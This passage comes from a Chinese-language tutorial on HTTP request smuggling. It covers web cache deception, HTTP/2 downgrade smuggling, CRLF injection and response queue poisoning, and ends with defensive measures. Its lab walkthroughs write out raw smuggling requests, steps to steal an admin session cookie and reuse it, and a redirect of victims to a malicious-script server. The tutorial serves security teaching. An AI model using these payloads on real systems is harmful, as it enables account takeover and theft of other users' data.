通过多次重复请求 tracking.js 并确认每次都收到重定向来确认缓存已中毒。
返回博客站点,多刷新几次,会发现成功触发弹窗:
3.7 进行Web缓存欺骗
在攻击的另一种变体中,您可以利用 HTTP 请求走私来执行 Web 缓存欺骗。这与网络缓存中毒攻击的工作方式类似,但目的不同。
Web 缓存中毒和 Web 缓存欺骗有什么区别?
- 在 Web 缓存中毒中,攻击者导致应用程序在缓存中存储一些恶意内容,并将这些内容从缓存提供给其他应用程序用户。
- 在 Web 缓存欺骗中,攻击者导致应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索该内容。
在此变体中,攻击者会走私一个返回一些敏感的用户特定内容的请求。例如:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
来自另一个用户的下一个转发到后端服务器的请求将附加到走私的请求中,包括会话 cookie 和其他标头。例如:
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
后端服务器以正常方式响应该请求。请求中的 URL 用于用户的私人消息,并且该请求在受害用户会话的上下文中进行处理。前端服务器根据它认为是第二个请求中的 URL(即 /static/some-image.png )缓存此响应:
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...
然后,攻击者访问静态 URL 并接收从缓存返回的敏感内容。
这里需要注意的一个重要问题是,攻击者不知道将缓存敏感内容的 URL,因为这将是受害用户在走私请求生效时碰巧请求的 URL。攻击者可能需要获取大量静态 URL 才能发现捕获的内容。
实验地址:lab-perform-web-cache-deception,题目要求如下:
1)登录提供的账户:
2)走私请求以获取 API 密钥:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Transfer-Encoding: chunked
0
GET /my-account HTTP/1.1
X-Ignore: X
3)重复上述请求几次,然后在另一款浏览器窗口中加载主页同时抓包,使用 Burp 菜单上的搜索功能查看关键词“Your API Key”是否出现在任何静态资源中。如果没有,请重复 POST 请求,强制重新加载浏览器窗口,然后重新运行搜索。
提交 APIKey,完成实验。
Http/2请求走私
上文介绍的都是 HTTP/1 的请求走私漏洞的场景和利用方式,下文将介绍的是 HTTP/2 存在的请求走私漏洞,主要参考:HTTP2请求走私深入刨析、https://portswigger.net/web-security/request-smuggling/advanced。
请求走私从根本上讲是利用不同服务器解释请求长度之间的差异。 HTTP/2 引入了一个单一、强大的机制来实现这一点,长期以来人们一直认为它可以使其本质上不受请求走私的影响。尽管您不会在 Burp 中看到这一点,但 HTTP/2 消息是作为一系列单独的“帧”通过网络发送的。每个帧前面都有一个显式的长度字段,它准确地告诉服务器要读入多少字节。因此,请求的长度是其帧长度的总和。从理论上讲,这种机制意味着只要网站端到端使用 HTTP/2,攻击者就没有机会引入请求走私所需的歧义。然而,在实际情况下,由于 HTTP/2 降级的广泛但危险的做法,情况通常并非如此。
4.1 HTTP/2->请求降级
HTTP/2 降级 是使用 HTTP/1 语法重写 HTTP/2 请求以生成等效 HTTP/1 请求的过程。由于 HTTP/2 仍然相对较新,支持它的 Web 服务器通常仍然需要与仅支持 HTTP/1 的传统后端基础设施进行通信。因此,前端服务器使用 HTTP/1 语法重写每个传入的 HTTP/2 请求,从而有效地生成其 HTTP/1 等效项已成为常见做法。这个“降级”请求将被转发到相关的后端服务器, 这种做法是下文中介绍的许多攻击的先决条件。
当使用 HTTP/1 的后端发出响应时,前端服务器会反转此过程以生成返回给客户端的 HTTP/2 响应。这是有效的,因为协议的每个版本从根本上来说只是表示相同信息的不同方式。 HTTP/1 消息中的每个项目在 HTTP/2 中都有近似的等效项。
因此,服务器在两种协议之间转换这些请求和响应相对简单。事实上,这就是为什么 Burp 能够使用 HTTP/1 语法在消息编辑器中显示 HTTP/2 消息的方式。HTTP/2 降级非常普遍,甚至是许多流行反向代理服务的默认行为。在某些情况下,甚至没有禁用它的选项。
但 HTTP/2 降级可能会使网站遭受请求走私攻击,尽管 HTTP/2 本身在端到端使用时通常被认为是安全的。HTTP/2 内置的长度机制意味着,当使用 HTTP 降级时,可能存在三种不同的方式来指定同一请求的长度,这是所有请求走私攻击的基础。
4.2 H2.CL请求降级实例
HTTP/2 请求不必在标头中显式指定其长度。在降级过程中,这意味着前端服务器通常会添加 HTTP/1 Content-Length 标头,并使用 HTTP/2 的内置长度机制派生其值。有趣的是,HTTP/2 请求还可以包含自己的 content-length 标头。在这种情况下,某些前端服务器将简单地在生成的 HTTP/1 请求中重用该值。
规范规定 HTTP/2 请求中的任何 content-length 标头必须与使用内置机制计算的长度匹配,但在降级之前并不总是正确验证这一点。因此,可能会通过注入误导性的 content-length 标头来走私请求。尽管前端将使用隐式 HTTP/2 长度来确定请求的结束位置,但 HTTP/1 后端必须引用从注入的头派生的 Content-Length 标头,从而导致不同步。
实验地址:lab-request-smuggling-h2-cl-request-smuggling,题目要求如下:
1)使用 Burp Repeater,尝试通过包含 Content-Length: 0 请求头在 HTTP/2 请求正文中走私任意前缀,如下所示。请记住展开检查器的请求属性部分并确保在发送请求之前将协议设置为 HTTP/2:
POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0
SMUGGLED
连续发送上述请求两次后会收到 404 响应,可以确定已导致后端将后续请求附加到走私的前缀中:
备注:在构造请求时需要在 Burp Repeater 中禁用 Update-CL,同时勾选 Allow HTTP/2 ALPN override:
2)使用 Burp Repeater,发现每次发送 GET /resources 请求,将被重定向到 https://YOUR-LAB-ID.web-security-academy.net/resources/:
3)创建以下请求来将以 /resources 开头的请求走私到任意 Host 对于的服务器上:
POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0
GET /resources HTTP/1.1
Host: foo
Content-Length: 5
x=1
多次发送上述请求,通过前端服务器走私此路由将允许攻击者将连接上的后续请求重定向到任意主机。通关平台提供的 exp 服务器注册一个携带恶意 JS 的路由:
4) 修改请求走私的的 Host 请求头,使其指向漏洞利用服务器:
5) 查询 exp 服务器的日志,发现来自靶机服务器的请求:
4.3 H2.TE请求走私风险
分块传输编码与 HTTP/2 不兼容,并且规范建议用户将尝试注入的任何 transfer-encoding: chunked 请求头都应被剥离或完全阻止请求。如果前端服务器未能做到这一点,并随后降级对支持分块编码的 HTTP/1 后端的请求,这也可能导致请求走私攻击。
如果网站容易受到 H2.CL 或 H2.TE 请求走私的攻击,您可能会利用此行为来执行我们在之前的请求走私实验室中介绍的相同攻击。
【隐藏的 HTTP/2 支持】
浏览器和其他客户端(包括 Burp)通常仅使用 HTTP/2 与服务器进行通信,这些服务器通过 ALPN 作为 TLS 握手的一部分明确宣传对其的支持。某些服务器支持 HTTP/2,但由于配置错误而无法正确声明。在这种情况下,服务器看起来好像只支持 HTTP/1.1,因为客户端默认将此作为后备选项。因此,测试人员可能会忽略可行的 HTTP/2 攻击面并错过协议级问题,例如我们上面介绍的基于 HTTP/2 降级的请求走私的示例。
要强制 Burp Repeater 使用 HTTP/2,以便您可以手动测试此错误配置:
- 从“设置”对话框中,转到 Tools > Repeater。
- 在“Connections”下,启用“Allow HTTP/2 ALPN override”选项。
- 在 Repeater 中,转到“Inspector”面板并展开“Request attributes”部分,使用开关将协议设置为 HTTP/2。 Burp 现在将使用 HTTP/2 发送此选项卡上的所有请求,无论服务器是否声明对此的支持。
4.4 Response队列中毒
响应队列中毒是请求走私攻击的一种强大形式,它会导致前端服务器开始将后端的响应映射到错误的请求。实际上,这意味着同一前端/后端连接的所有用户都会持续获得原本为其他人准备的响应。这是通过走私完整的请求来实现的,从而在前端服务器只期望一个响应时从后端引出两个响应。
响应队列中毒的危害:
- 响应队列中毒的影响通常是灾难性的。一旦队列中毒,攻击者只需发出任意后续请求即可捕获其他用户的响应。这些响应可能包含敏感的个人或商业数据,以及会话令牌等,这有效地授予攻击者对受害者帐户的完全访问权限。
- 响应队列中毒还会造成严重的附带损害,从而有效地破坏通过同一 TCP 连接将流量发送到后端的任何其他用户的站点。当尝试正常浏览网站时,用户会收到来自服务器的看似随机的响应,这将阻止大多数功能正常工作。
对于成功的响应队列中毒攻击,必须满足以下条件:
- 前端服务器和后端服务器之间的 TCP 连接可重复用于多个请求/响应周期。
- 攻击者能够成功地走私一个完整的、独立的请求,该请求从后端服务器接收其自己独特的响应。
- 该攻击不会导致任一服务器关闭 TCP 连接,服务器通常会在收到无效请求时关闭传入连接,因为它们无法确定请求应该在哪里结束。
【了解请求走私的后果】
请求走私攻击通常涉及走私部分请求,服务器将其作为前缀添加到连接上下一个请求的开头。值得注意的是,走私请求的内容会影响初始攻击后连接发生的情况。如果您只是走私带有一些标头的请求行,假设不久之后在连接上发送另一个请求,则后端最终仍然会看到两个完整的请求。
如果您走私一个也包含正文的请求,则连接上的下一个请求将附加到走私请求的正文中。这通常会产生根据明显的 Content-Length 截断最终请求的副作用。结果,后端实际上看到了三个请求,其中第三个“请求”只是一系列剩余字节:
Front-end (CL)
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked
0
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 25
x=GET / HTTP/1.1
Host: vulnerable-website.com
Back-end (TE)
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked
0
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 25
x=GET / HTTP/1.1
Host: vulnerable-website.com
由于这些剩余字节不形成有效的请求,这通常会导致错误,导致服务器关闭连接。
【走私完整的请求】
只要稍加小心,您就可以走私完整的请求,而不仅仅是前缀。只要您一次发送两个请求,连接上的任何后续请求都将保持不变:
Front-end (CL)
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
Back-end (TE)
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
请注意,没有无效请求到达后端,因此攻击后连接应保持打开状态。
【取消同步响应队列】
当你走私一个完整的请求时,前端服务器仍然认为它只转发了单个请求。另一方面,后端看到两个不同的请求,并将相应地发送两个响应:
- 前端正确地将第一个响应映射到初始“包装器”请求并将其转发到客户端。由于没有其他请求等待响应,因此意外的第二个响应将保留在前端和后端之间连接上的队列中。
- 当前端收到另一个请求时,它会照常将其转发给后端。但是,在发出响应时,它将发送队列中的第一个响应,即对走私请求的剩余响应。
- 然后,来自后端的正确响应将不再有匹配的请求。每次新请求通过同一连接转发到后端时,都会重复此循环。
【窃取其他用户的回复】
一旦响应队列中毒,攻击者就可以发送任意请求来捕获其他用户的响应。
他们无法控制收到哪些响应,因为它们始终会被发送到队列中的下一个响应,即对前一个用户请求的响应。在某些情况下,这的确会导致攻击危害有限。然而,使用 Burp Intruder 等工具,攻击者可以轻松地自动执行重新发出请求的过程。通过这样做,他们可以快速获取针对不同用户的各种响应,至少其中一些可能包含有用的数据。
【More】只要前端/后端连接保持打开状态,攻击者就可以继续窃取这样的响应。连接关闭的确切时间因服务器而异,但常见的默认设置是在处理 100 个请求后终止连接。一旦当前连接关闭,重新毒害新连接也很简单。
【响应队列中毒实验】
实验地址:lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling,题目要求:
1)使用 Burp Repeater,尝试使用分块编码在 HTTP/2 请求正文中走私任意前缀,如下所示。请记住展开检查器的请求属性部分并确保在发送请求之前将协议设置为 HTTP/2,观察到发送的每第二个请求都会收到 404 响应,意味着已导致后端将后续请求附加到走私的前缀中:
POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Transfer-Encoding: chunked
0
SMUGGLED
2)在 Burp Repeater 中,创建以下请求,该请求将完整的请求偷偷发送到后端服务器。请注意,两个请求中的路径都指向不存在的端点。这意味着您的请求将始终得到 404 响应。一旦您毒化了响应队列,这将使您更容易识别您已成功捕获的任何其他用户的响应。
POST /x HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Transfer-Encoding: chunked
0
GET /x HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
发送请求以毒害响应队列。您将收到针对您自己的请求的 404 响应。
3)等待大约 5 秒,然后再次发送请求以获取任意响应。大多数时候,您会收到自己的 404 响应。任何其他响应代码都表示您已成功捕获针对管理员用户的响应。重复此过程,直到捕获包含管理员的新登录后会话 cookie 的 302 响应:
4) 复制会话 cookie 并使用它发送以下请求:
GET /admin HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=STOLEN-SESSION-COOKIE
5)同样借助窃取到的管理员 Cookie,删除账户 carlos,完成实验目标:
4.5 CRLF注入请求走私
即使网站采取措施防止基本的 H2.CL 或 H2.TE 攻击,例如验证 content-length 或剥离任何 transfer-encoding 标头,HTTP/2 的二进制格式也可以通过一些新颖的方式来实现绕过这些前端措施。
在 HTTP/1 中,您有时可以利用服务器处理独立换行符 ( \n ) 字符的方式之间的差异来走私禁止的请求头,如果后端将此视为分隔符,但前端服务器不这样做,则某些前端服务器将根本无法检测到第二个标头。
Foo: bar\nTransfer-Encoding: chunked
处理完整的 CRLF ( \r\n ) 序列时不存在这种差异,因为所有 HTTP/1 服务器都默认这是请求头的结尾。
另一方面,由于 HTTP/2 消息是二进制的而不是基于文本的,因此每个标头的边界基于显式的、预定的偏移量而不是分隔符。这意味着 \r\n 在标头值中不再具有任何特殊意义,因此可以包含在值本身内,而不会导致标头被拆分:
这本身看起来相对无害,但是当将其重写为 HTTP/1 请求时, \r\n 将再次被解释为标头分隔符。因此,HTTP/1 后端服务器将看到两个不同的标头:
Foo: bar
Transfer-Encoding: chunked
实验地址:lab-request-smuggling-h2-request-smuggling-via-crlf-injection。不再展开了,详见官网。
总结
总得来说,当前端服务器和后端服务器使用不同的机制来确定请求之间的边界时,就会出现 HTTP 请求走私漏洞。这可能是由于 HTTP/1 服务器使用 Content-Length 标头还是分块传输编码来确定每个请求的结束位置之间存在差异。而在 HTTP/2 环境中,降级后端 HTTP/2 请求的常见做法也充满问题,并且会引发或简化许多其他攻击。
为了防止 HTTP 请求走私漏洞,建议采取以下高级措施:
- 使用 HTTP/2 端到端并禁用 HTTP 降级(如果可能)。 HTTP/2 使用强大的机制来确定请求的长度,并且在端到端使用时,本质上可以防止请求走私。如果无法避免 HTTP 降级,请确保根据 HTTP/1.1 规范验证重写的请求。例如,拒绝标头中包含换行符、标头名称中包含冒号以及请求方法中包含空格的请求。
- 使前端服务器规范不明确的请求,并使后端服务器拒绝任何仍然不明确的请求,并在此过程中关闭 TCP 连接。
- 如果通过转发代理路由流量,请确保启用上游 HTTP/2(如果可能)。
本文介绍了 HTTP 请求走私漏洞的基本原理、漏洞类型、检测方法等,同时借助靶场实践分析了 HTTP/1 与 HTTP/2 协议下的 HTTP 走私漏洞的利用手段和具体危害,最后总结了防御此类漏洞的措施。
本文参考文章与资源:
- HTTP request smuggling;
- HTTP 请求走私、谁能比我细—秒懂Http请求走私;
- 请求走私利用实践一篇通、HTTP2请求走私深入刨析;
- 由一次渗透测试引发的HTTP请求走私思考;
- 漏洞检测工具:smuggler、http-request-smuggler;